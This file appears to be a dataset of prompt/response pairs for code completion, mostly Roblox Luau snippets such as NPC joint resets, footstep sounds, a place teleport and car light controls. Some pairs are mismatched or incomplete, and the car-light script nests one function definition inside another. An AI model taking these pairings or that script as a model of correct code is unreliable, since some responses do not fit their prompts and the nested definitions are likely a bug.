Prompt: -- INTER-TRIBE DIPLOMACY

Response:
function TribeModule:ToggleDiplomacy(tribeA,tribeB,diplomacy)

end

return TribeModule


Response:
local neck = torso.Neck
neck.C1 = CFrame.new(0,0,0)
local leftshoulder = torso["Left Shoulder"]
leftshoulder.C1 = CFrame.new(0,0,0)
local rightshoulder = torso["Right Shoulder"]
rightshoulder.C1 = CFrame.new(0,0,0)
local lefthip = torso["Left Hip"]
lefthip.C1 = CFrame.new(0,0,0)
local righthip = torso["Right Hip"]
righthip.C1 = CFrame.new(0,0,0)
local root = npc.HumanoidRootPart.RootJoint
root.C1 = CFrame.new(0,0,0)


Prompt: -- check if the player is moving and not climbing

Response:
humanoid.Running:Connect(function(speed)
	if humanoid.MoveDirection.Magnitude > 0 and speed > 0 and humanoid:GetState() ~= Enum.HumanoidStateType.Climbing then
		getSoundProperties()
		update()
		currentSound.Playing = true
		currentSound.Looped = true
	else
		currentSound:Stop()
	end
end)


Prompt:
--health.Changed:connect(function()
--root.Hurt.Pitch = root.Hurt.OriginalPitch.Value+(math.random(-100,100)/100)
--root.Hurt:Play()
--end)
--


Prompt:
--[=[
	Returns true when we're animating
	@return boolean -- True if animating
]=]

Response:
function SpringObject:IsAnimating()
	return (SpringUtils.animating(self._currentSpring))
end


Prompt:
--!strict
--CacheManager
--Yuuwa0519
--2022-03-16


Response:
local  Paint = false

script.Parent.MouseButton1Click:connect(function()
	Paint = not Paint
	handler:FireServer("Plum",Paint)
end)


Prompt: --> FUNCTIONS

Response:
script.Parent.Touched:Connect(function(Hit)
	if not Touched then
		if Hit.Parent:FindFirstChildOfClass("Humanoid") then
			Player = game:GetService("Players")[Hit.Parent.Name]
		elseif Hit.Parent.Parent:FindFirstChildOfClass("Humanoid") then
			Player = game:GetService("Players")[Hit.Parent.Parent.Name]
		end
		if Player ~= nil then
			Touched = true
			game:GetService("TeleportService"):TeleportAsync(script.Parent.Parent.GameID.Value, {Player})
			Player = nil
			wait(.2)
			Touched = false
		end
	end
end)


Prompt: -- Remade by Truenus

Response:
wait(0.05)
local car = script.Parent.Parent.Car.Value
local GBrake = script.Parent.Parent.Values.Brake
function on()
		car.Body.Lights.Light.Material=Enum.Material.Neon
		car.Body.Lights.Light.Light.Enabled = true
function off()
		car.Body.Lights.Light.Light.Enabled = false
		car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
		for i,v in pairs(car.Body.Lights:GetChildren()) do
		end
end
end
function auto()
	if (game.Lighting:GetMinutesAfterMidnight()<390 or game.Lighting:GetMinutesAfterMidnight()>1050) then
		car.Body.Lights.Light.Material=Enum.Material.Neon
		car.Body.Lights.Light.Light.Enabled = true
	else
		car.Body.Lights.Light.Light.Enabled = false
		car.Body.Lights.Light.Material=Enum.Material.SmoothPlastic
	end
end

script.Parent.MouseButton1Click:connect(function()
	if script.Parent.Text == "Lights: Auto" then
		on()
		script.Parent.Text = "Lights: On"
	elseif script.parent.Text == "Lights: On" then
		script.Parent.Text = "Lights: Off"
		off()
	elseif script.parent.Text == "Lights: Off" then
		auto()
		script.Parent.Text = "Lights: Auto"
	end
end)

script.Parent.Parent.Values.Brake.Changed:connect(function()
	for i,v in pairs(car.Body.Lights:GetChildren()) do
		if v.Name=="R" then
			if v.Light.Enabled then
				if GBrake.Value>0 then
					v.Transparency=0
					v.Light.Brightness=12
					v.Light.Range=15
				else
					v.Transparency=.3
					v.Light.Brightness=8
					v.Light.Range=10
				end
			else
				v.Transparency=0
				if GBrake.Value>0 then
					v.Material=Enum.Material.Neon
				else
					v.Material=Enum.Material.SmoothPlastic
				end
			end
		elseif v.Name=="RR" then
			if GBrake.Value>0 then
				v.Material=Enum.Material.Neon
				if v.Light.Enabled then
					v.Transparency=1
				else
					v.Transparency=0
				end
			else
				v.Transparency=1
				if v.Light.Enabled then
					v.Material=Enum.Material.Neon
				else
					v.Material=Enum.Material.SmoothPlastic
				end
			end
		end
	end
end)

game.Lighting.Changed:connect(auto)
auto()


Prompt: --//Player//--

Response: local Player = game.Players.LocalPlayer


Prompt:
--[=[
	@return string
	Metamethod to transform the option into a string.
	```lua
	local optA = Option.Some(64)
	local optB = Option.None
	print(optA) --> Option<number>
	print(optB) --> Option<None>
	```
]=]

Response:
function Option:__tostring()
	if self:IsSome() then
		return ("Option<" .. typeof(self._v) .. ">")
	else
		return "Option<None>"
	end
end


Prompt: -- SETUP ENUMS

Response:
local createEnum = Enum.createEnum
for _, childModule in pairs(script:GetChildren()) do
	if childModule:IsA("ModuleScript") then
		local enumDetail = require(childModule)
		createEnum(childModule.Name, enumDetail)
	end
end


Response:
local WaitTime = 30	-- Change this to the amount of time it takes for the button to re-enable.
local modelname = "Six Flags Tornado"	-- If your model is not named this, then make the purple words the same name as the model!